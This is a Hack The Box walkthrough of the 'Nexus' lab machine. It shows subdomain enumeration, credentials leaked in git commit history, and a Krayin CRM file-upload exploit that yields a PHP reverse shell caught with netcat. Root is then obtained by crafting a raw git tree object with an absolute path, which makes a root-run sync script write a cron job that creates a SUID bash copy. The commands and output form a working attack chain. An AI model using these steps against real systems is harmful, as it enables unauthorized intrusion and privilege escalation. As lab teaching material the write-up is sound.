Hack The Box - Nexus Walkthrough
A forgotten subdomain was only the beginning. What followed was a chain of small items hidden across the environment. From there, I didn’t need too much to fully compromise it.
● Initial Enumeration
I started from the received IP address and launched a scan to discover the open ports and running services.
rustscan -a 10.129.56.106 -- -ATwo open ports were found, 22 and 80, where ssh and http were running. I added an entry in /etc/hosts to associate nexus.htb with the IP I had.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe next step was to visit the website. I browsed the page, but nothing interesting was found. I couldn’t see any links or similar items. However, under the career section, I discovered an email, j.matthew@nexus.htb .
I continued to enumerate the website using gobuster, but I didn’t spot any other pages.
┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $gobuster dir -u http://nexus.htb -x php,txt -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://nexus.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 49296]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================Since this didn’t lead to anything, I triggered a scan for subdomains, using ffuf. Here I was luckier, because I identified 2 of them: billing and git . I adjusted the /etc/hosts entry to include these 2 new findings.
┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nexus.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
:: Header : Host: FUZZ.nexus.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
billing [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 2512ms]
git [Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 81ms]
:: Progress: [2171687/2171687] :: Job [1/1] :: 655 req/sec :: Duration: [0:50:12] :: Errors: 0 ::● Obtaining the first set of credentials
When I accessed the git subdomain, I encountered a repository named krayin-docker-setup. Over there, in the .env file, among other variables, I observed the following:
APP_NAME='Krayin CRM'
APP_URL=http://billing.nexus.htbI inspected the billing page and reached an admin login page.
But, apart from the initial email address I found on the main website, I didn’t have anything else. Because Krayin CRM was used, I searched for possible vulnerabilities and exploits for it. And I came upon something useful on exploit-db.
Nevertheless, it still required authentication, so I had to dig more. I went back to the git subdomain. I noticed that, for the krayin-docker-setup repository, there were 2 commits. So I verified the initial one and found a password in the .env file.
Back to the billing page, I managed to log in using j.matthew@nexus.htb email and the password I just found. I got access to the portal, and the first thing I did after was to look for what version of Krayin was used. Under the profile icon, I saw it was 2.2.0, so I figured out I could use the exploit I previously found.
● Getting access as www-data
I downloaded the Python script from the vulnerability page on exploit-db. After analyzing it, I identified 4 required parameters: username, password, target URL, and file to upload. I edited the PHP reverse shell accordingly and successfully executed the exploit.
┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $python krayin_exploit.py --target http://billing.nexus.htb --user j.matthew@nexus.htb --password '<REDACTED_PASSWORD>' --file shell.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/0e716d4f82a51632938e551e34452da7.phpI started a netcat listener, then accessed the provided URL. Right after this, I obtained a reverse shell as www-data.
┌─[rootshellace@parrot]─[~/HackTheBox/Labs/Machines/Nexus]
└──╼ $nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.56.106 40508
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
16:05:28 up 1:19, 0 user, load average: 0.00, 0.03, 0.26
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/
$ ● Obtaining the user flag
The first thing I examined was what other users were available on this machine. I detected jones in /etc/passwd.
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_laurel:x:999:988::/var/log/laurel:/bin/false
jones:x:1000:1000:,,,:/home/jones:/bin/bash
mysql:x:110:111:MySQL Server,,,:/nonexistent:/bin/false
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/falseSince I wasn’t able to reach the home directory of jones, I had to find a way to pivot. Being connected as www-data, I browsed the content inside /var/www . After a while, I got to another .env file, located in /var/www/krayin.
This file contained multiple variables, and one of them was another password.
I attempted to connect to the machine via ssh, using user jones and the previously discovered password. It worked. The flag was in its home directory.
● Obtaining the root flag
Get rootshellace’s stories in your inbox
Join Medium for free to get updates from this writer.
Immediately after reading the user flag, I looked for possible privileges. But I didn’t encounter anything useful.
jones@nexus:~$ sudo -l
[sudo] password for jones:
Sorry, user jones may not run sudo on nexus.
jones@nexus:~$ grep jones /etc/group
users:x:100:jones
jones:x:1000:
jones@nexus:~$ find / -type f -group users 2>/dev/null
jones@nexus:~$ After browsing a bit through the filesystem, I noticed something interesting in /etc/gitea.
jones@nexus:/etc$ cd gitea
jones@nexus:/etc/gitea$ ls -l
total 16
-rw-r----- 1 git git 1586 May 12 18:37 app.ini
-rw-r----- 1 git git 89 May 11 16:50 template-sync.conf
-rw-r--r-- 1 git git 4184 May 11 18:47 template-sync.pyThis looked like a script used to synchronize something. So, my next move was to look for potential running services. And it paid off, because I found very useful information.
jones@nexus:/etc/gitea$ cd /etc/systemd/system
jones@nexus:/etc/systemd/system$ ls -l *gitea*
-rw-r--r-- 1 root root 177 May 11 16:59 gitea-template-sync.service
-rw-r--r-- 1 root root 168 May 11 16:58 gitea-template-sync.timer
-rw-r--r-- 1 root root 674 Apr 23 11:37 gitea.service
jones@nexus:/etc/systemd/system$ cat gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
jones@nexus:/etc/systemd/system$ cat gitea-template-sync.timer
[Unit]
Description=Run Gitea template sync every minute
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service
[Install]
WantedBy=timers.target
jones@nexus:/etc/systemd/system$ cat gitea.service
[Unit]
Description=Gitea
After=network.target
[Service]
# Uncomment the next line if you have repos with lots of files and get a HTTP 500 error because of that
# LimitNOFILE=524288:524288
RestartSec=2s
Type=simple
User=git
Group=git
WorkingDirectory=/var/lib/gitea/
# If using Unix socket: tells systemd to create the /run/gitea folder, which will contain the gitea.sock file
# (manually creating /run/gitea doesn't work, because it would not persist across reboots)
#RuntimeDirectory=gitea
ExecStart=/usr/local/bin/gitea web --config /etc/gitea/app.ini
Restart=always
Environment=USER=git HOME=/home/git GITEA_WORK_DIR=/var/lib/gitea
[Install]
WantedBy=multi-user.targetI found a timer set to trigger a synchronizing service every minute. And this service was running the Python script I just found under root privileges. Unfortunately, I didn’t have enough permissions to edit the file. But I was able to read it.
jones@nexus:/tmp/hacktest$ cat /etc/gitea/template-sync.py
import os
import sys
import json
import subprocess
import time
import urllib.request
GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"
def log(msg):
ts = time.strftime("%Y-%m-%d %H:%M:%S")
line = "[%s] %s" % (ts, msg)
print(line, flush=True)
try:
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
with open(LOG_FILE, 'a') as f:
f.write(line + '\n')
except:
pass
def load_config():
config = {}
for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
try:
with open(path) as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and '=' in line:
k, v = line.split('=', 1)
config[k.strip()] = v.strip()
except:
pass
return config
def get_token():
cfg = load_config()
return cfg.get('GITEA_API_TOKEN')
def get_template_repos(token):
url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
req = urllib.request.Request(url, headers={
'Authorization': 'token %s' % token
})
try:
with urllib.request.urlopen(req) as resp:
data = json.loads(resp.read())
repos = data.get('data', data) if isinstance(data, dict) else data
return [r for r in repos if r.get('template', False)]
except Exception as e:
log("API error: %s" % e)
return []
def sync_template(repo_info):
owner = repo_info['owner']['login']
name = repo_info['name'].lower()
bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
stage_path = os.path.join(STAGING_DIR, owner, name)
if not os.path.isdir(bare_path):
log(" repo not found: %s" % bare_path)
return
# Read tree entries from the bare repository
try:
GIT = ['git', '-c', 'safe.directory=*']
result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path,
capture_output=True, text=True, timeout=10
)
if result.returncode != 0:
log(" ls-tree failed: %s" % result.stderr.strip())
return
except Exception as e:
log(" ls-tree error: %s" % e)
return
entries = []
for line in result.stdout.strip().split('\n'):
if not line:
continue
parts = line.split('\t', 1)
if len(parts) != 2:
continue
meta, filepath = parts
mode, objtype, objhash = meta.split()
if objtype == 'blob':
entries.append((mode, objhash, filepath))
if not entries:
log(" no files in template")
return
# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
try:
os.makedirs(target_dir, exist_ok=True)
GIT = ['git', '-c', 'safe.directory=*']
cat_result = subprocess.run(
GIT + ['cat-file', 'blob', objhash],
cwd=bare_path,
capture_output=True, timeout=10
)
if cat_result.returncode != 0:
continue
with open(target, 'wb') as f:
f.write(cat_result.stdout)
if mode == '100755':
os.chmod(target, 0o755)
else:
os.chmod(target, 0o644)
log(" synced: %s" % filepath)
except Exception as e:
log(" error syncing %s: %s" % (filepath, e))
def main():
log("Template sync starting")
token = get_token()
if not token:
log("No API token found")
sys.exit(1)
templates = get_template_repos(token)
log("Found %d template repo(s)" % len(templates))
for repo in templates:
name = repo['full_name']
log("Syncing template: %s" % name)
sync_template(repo)
log("Template sync complete")
if __name__ == '__main__':
main()
jones@nexus:/tmp/hacktest$ Basically, this script took the template repositories from the platform and synchronized them on the machine, under /home/git/template-staging location, based on owner and repository name.
I composed and accessed the URL mentioned in get_template_repos, to see how the result would look.
jones@nexus:/etc/gitea$ curl http://localhost:3000/api/v1/repos/search?limit=50 | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2282 0 2282 0 0 192k 0 --:--:-- --:--:-- --:--:-- 202k
{
"ok": true,
"data": [
{
"id": 1,
"owner": {
"id": 1,
"login": "admin",
"login_name": "",
"source_id": 0,
"full_name": "",
"email": "admin@nexus.htb",
"avatar_url": "http://localhost:3000/avatars/b17d58524b633e08762e81cb2727e6ee",
"html_url": "http://localhost:3000/admin",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2026-04-23T11:44:27Z",
"restricted": false,
"active": false,
"prohibit_login": false,
[...]
"username": "admin"
},
"name": "krayin-docker-setup",
"full_name": "admin/krayin-docker-setup",
"description": "",
[...]
"template": false,
"mirror": false,
"size": 30,
"language": "",
"languages_url": "http://git.nexus.htb/api/v1/repos/admin/krayin-docker-setup/languages",
"html_url": "http://localhost:3000/admin/krayin-docker-setup",
"url": "http://git.nexus.htb/api/v1/repos/admin/krayin-docker-setup",
"link": "",
"ssh_url": "git@git.nexus.htb:admin/krayin-docker-setup.git",
"clone_url": "http://localhost:3000/admin/krayin-docker-setup.git",
"original_url": "",
[...]
"topics": [],
"licenses": []
}
]
}The script had a flow, though. It wasn’t sanitizing an input for location and, later, was writing a file in that path.
# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath) # <-- It doesn't verify the path
target_dir = os.path.dirname(target)
[...]
with open(target, 'wb') as f:
f.write(cat_result.stdout) # <-- Here it writes the fileFor a better understanding, I will show you a couple of examples on how os.path.join behaves with different input.
>>> import os
# This is the expected behavior
>>> os.path.join('/home/git/template-staging/admin/testrepo', 'testdir1/testfile1.txt')
'/home/git/template-staging/admin/testrepo/testdir1/testfile1.txt'
# This is a path traversal exploit, because ../ is interpreted later as the upper directory
>>> os.path.join('/home/git/template-staging/admin/testrepo', '../../../../../testdir1/testfile1.txt')
'/home/git/template-staging/admin/testrepo/../../../../../testdir1/testfile1.txt'
# If the file (2nd parameter) starts with /, the full path actually becomes the file
>>> os.path.join('/home/git/template-staging/admin/testrepo', '/testdir1/testfile1.txt')
'/testdir1/testfile1.txt'The problem was that git didn’t allow creating in repositories directories containing ../ . Also, the same approach was valid for files beginning with / character. And this thing was a massive blocker.
However, after some research, I found out this could be exploited if you manage to write directly into the objects. Honestly, since I didn’t know too much about git, this topic proved to be a challenge, because it took me enough time to actually understand the idea.
But, to try to make it easier to understand, in a way, this is like altering the metadata of the repository.
The point was to add a specific path where I wanted to have a specific file written with root privileges. My first idea was to create a copy of /etc/passwd, add a line with a new user and a sha512 password hash, as well as UID=0 and GID=0, so that I could use it like a clone of root. I managed to get the file overwritten, but I couldn’t login though.
The next idea was to create a file associated with a cron job, which would copy /bin/bash executable in a location where I could access it, then grant SUID permission, so I could run it with the privileges of the owner. This file had to be written inside /etc/cron.d directory.
I created a new repository named hacktest and set it as a template, so that it would be synchronized by the script.
# Create a script to be executed by a cron job
# which copies /bin/bash executable to /tmp and
# grants SUID permission so that anyone can execute it
# with the privileges of the owner
jones@nexus:/tmp$ touch copy_shell.sh
jones@nexus:/tmp$ vi copy_shell.sh
jones@nexus:/tmp$ chmod a+x copy_shell.sh
jones@nexus:/tmp$ cat copy_shell.sh
#!/bin/bash
/usr/bin/cp /bin/bash /tmp/rootshellace_shell
/usr/bin/chmod 4755 /tmp/rootshellace_shell
jones@nexus:/tmp$# Create the cronjob file payload
jones@nexus:/tmp$ touch rootshellace_cronjob
jones@nexus:/tmp$ vi rootshellace_cronjob
jones@nexus:/tmp$ cat rootshellace_cronjob
* * * * * root /tmp/copy_shell.sh # <-- This would execute the script as root every minute
jones@nexus:/tmp$# Full steps to exploit
# Clone the new repository and reinitialise it
jones@nexus:/tmp$ git clone http://localhost:3000/jones/hacktest.git
Cloning into 'hacktest'...
warning: You appear to have cloned an empty repository.
jones@nexus:/tmp$ cd hacktest/
jones@nexus:/tmp/hacktest$ git init
Reinitialized existing Git repository in /tmp/hacktest/.git/
jones@nexus:/tmp/hacktest$ git status
On branch main
No commits yet
nothing to commit (create/copy files and use "git add" to track)
# Copy the cron job configuration file we want to place in /etc/cron.d
jones@nexus:/tmp/hacktest$ cp ../rootshellace_cronjob .
# Create an object of blob type in the repository,
# which is the actual file we must write on the server
jones@nexus:/tmp/hacktest$ cat ../rootshellace_cronjob | git hash-object -w --stdin
1bc29040ab65bf372f939d2cb224f0103e9efe4c
# Checking the file type and content of it
jones@nexus:/tmp/hacktest$ git cat-file -t 1bc29040ab65bf372f939d2cb224f0103e9efe4c
blob
jones@nexus:/tmp/hacktest$ git cat-file -p 1bc29040ab65bf372f939d2cb224f0103e9efe4c
* * * * * root /tmp/copy_shell.sh
# Here is where we actually alter the tree and
# manage to write the location we want
# The PAYLOAD_HASH is the actual hash git creates
# as representation of the content of the rootshellace_cronjob
# file, but transformed in binary, because that's the way
# it is required
# To understand a bit the difference, check the below output:
# jones@nexus:/tmp/hacktest$ echo -n 1bc29040ab65bf372f939d2cb224f0103e9efe4c | wc -c
# 40
# jones@nexus:/tmp/hacktest$ echo -n 1bc29040ab65bf372f939d2cb224f0103e9efe4c | xxd -r -p | wc -c
# 20
# "100644 /etc/cron.d/rootshellace_cronjob\0${PAYLOAD_HASH}"
# is the format in which git tree stores the info (you can document on this,
# it took me some time to understand how this actually works):
# "<permissions> <path>\0<binary_representation_of_git_hash_for_file>"
jones@nexus:/tmp/hacktest$ PAYLOAD_HASH=$(echo -n 1bc29040ab65bf372f939d2cb224f0103e9efe4c | xxd -r -p)
jones@nexus:/tmp/hacktest$ echo -ne "100644 /etc/cron.d/rootshellace_cronjob\0${PAYLOAD_HASH}" | git hash-object -w -t tree --literally --stdin
6161aeea3d7dc313773164995346eed2f65c4e41
# Create a commit tree
jones@nexus:/tmp/hacktest$ git commit-tree 6161aeea3d7dc313773164995346eed2f65c4e41 -m "another hack attempt"
Author identity unknown
*** Please tell me who you are.
Run
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
to set your account default identity.
Omit --global to set the identity only in this repository.
fatal: unable to auto-detect email address (got 'jones@nexus.(none)')
jones@nexus:/tmp/hacktest$ git config user.email "j.matthews@nexus.htb"
jones@nexus:/tmp/hacktest$ git config user.name "jones"
jones@nexus:/tmp/hacktest$ git commit-tree 6161aeea3d7dc313773164995346eed2f65c4e41 -m "another hack attempt"
1be8f7c6936da55f1b0cd4a748a919d5a2e39a92
# Associate refs/heads/main to the previously created commit-tree
jones@nexus:/tmp/hacktest$ git update-ref refs/heads/main 1be8f7c6936da55f1b0cd4a748a919d5a2e39a9
# Check how the final "metadata" would look
# Normally, in the path over here, you couldn't
# have things like ../ characters or a file
# starting with /
# If you create, for instance, dir1 directory in the main repo
# and file1.txt under it, the path over here would be
# dir1/file1.txt
jones@nexus:/tmp/hacktest$ git ls-tree -r HEAD
100644 blob 1bc29040ab65bf372f939d2cb224f0103e9efe4c /etc/cron.d/rootshellace_cronjob
jones@nexus:/tmp/hacktest$ git status
On branch main
Your branch is based on 'origin/main', but the upstream is gone.
(use "git branch --unset-upstream" to fixup)
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
deleted: /etc/cron.d/rootshellace_cronjob
Untracked files:
(use "git add <file>..." to include in what will be committed)
rootshellace_cronjob
# Add the cronjob file and push the commit
jones@nexus:/tmp/hacktest$ git add .
jones@nexus:/tmp/hacktest$ git push origin main
Username for 'http://localhost:3000': jones
Password for 'http://jones@localhost:3000':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 264 bytes | 264.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/jones/hacktest.git
* [new branch] main -> main
jones@nexus:/tmp/hacktest$ I monitored /var/log/template-sync.log to see if the synchronization was completed successfully; I got the confirmation it was OK.
jones@nexus:~$ cd /var/log/
jones@nexus:/var/log$ tail -f template-sync.log
...
[2026-09-04 14:29:49] Found 1 template repo(s)
[2026-09-04 14:29:49] Syncing template: jones/hacktest
[2026-09-04 14:29:49] ls-tree failed: fatal: Not a valid object name HEAD
[2026-09-04 14:29:49] Template sync complete
[2026-09-04 14:30:49] Template sync starting
[2026-09-04 14:30:49] Found 1 template repo(s)
[2026-09-04 14:30:49] Syncing template: jones/hacktest
[2026-09-04 14:30:49] synced: /etc/cron.d/rootshellace_cronjob
[2026-09-04 14:30:49] Template sync completeI also monitored the list of files present in /tmp , and, after 1 minute, the shell was copied there.
Every 2.0s: ls -l nexus: Fri Sep 4 14:31:33 2026
total 1464
-rwxrwxr-x 1 jones jones 103 Sep 4 13:55 copy_shell.sh
drwxrwxr-x 3 jones jones 4096 Sep 4 14:25 hacktest
-rw-rw-r-- 1 jones jones 34 Sep 4 14:00 rootshellace_cronjob
-rwsr-xr-x 1 root root 1446024 Sep 4 14:31 rootshellace_shell # SUID bash
drwx------ 2 root root 4096 Sep 4 08:39 snap-private-tmp
...
drwx------ 2 root root 4096 Sep 4 08:40 vmware-root_773-4256676260I used this one to get root access.
From this point, I just had to go to /root/root.txt to obtain the system flag.
# Got the root flag
jones@nexus:/tmp$ ./rootshellace_shell -p
rootshellace_shell-5.2# whoami
root
rootshellace_shell-5.2# pwd
/tmp
rootshellace_shell-5.2# cd /root
rootshellace_shell-5.2# ls -l
total 4
-rw-r----- 1 root root 33 Sep 4 08:40 root.txt
rootshellace_shell-5.2# cat root.txt
<REDACTED>
rootshellace_shell-5.2#If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?











